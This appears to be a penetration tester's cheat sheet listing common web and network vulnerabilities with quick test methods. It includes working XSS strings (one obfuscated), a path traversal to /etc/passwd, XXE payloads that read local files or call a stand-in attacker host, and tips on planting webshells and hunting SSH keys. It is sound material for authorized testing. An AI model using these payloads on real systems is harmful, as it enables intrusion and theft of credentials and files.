Exploitation

Common Vulnerabilities

Credentials Sent in Cleartext/Clearte xt protocols	Sites that send credentials over http, telnet, ftp
Forceful Browsing	Being able to forcefully browse to pages we shouldn't have access to, possibly changing by URL parameters
XSS	<script>alert(1)</script> <img src=x onerror="alert(1)"> --><script>alert(1)</script><-- <body onload="alert(1)"> <h1 ondbclick=Function(`t(1)`.replace(`t`,[`a`,`l`,`e`,`r`,`t`].join(``))()>test</h1>
Cross Site Request Forgery	Log in, submit some sort of POST but drop it in burpsuite. Then log out and log back in. Create CSRF PoC in burpsuite with engagement tools and test it in the new session. If it goes through its vulnerable. Sites that do not have Anti-CSRF cookies or bad ones.
SQLi	SQL injection through request parameters or URL parameters. Try ' and if it results in error, try '' to see if it doesn't result in error. If so its vulnerable.
Local File Inclusion	Editing request to grab a different file that is local to the server, example: ../../../../etc/passwd
Remote File Inclusion	Editing request to grab a remotely hosted file. Random URL to give PoC. Can be used to grab a webshell we are hosting for a foothold.
Outdated Software	Any server that's running out of date software with multiple CVEs
User Enumeration	Login pages that display different messages when trying a legit user or a fake user.
Default Credentials	Things like Tomcat or other devices on the network that host services with default login credentials

Enticement Information	Website displaying Any information that gives away valuable information, or info that helps us further our attack
XXE	App that parses/processes XML <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
Anonymous FTP	Log in and access ftp server anonymously ftp -n <FTP SERVER> upload/download certain files
Open File Shares	Connect to shares hosted on the network, put share location in file explorer
Unrestricted File Upload	Web that allows file upload, but doesn't filter what its not asking for – get shellz
Weak Password Policy	Network allows for weak passwords to be created/used
Unattend File	Windows/sys32/sysprep Can contain credentials

Look for ssh keys with LFI, XXE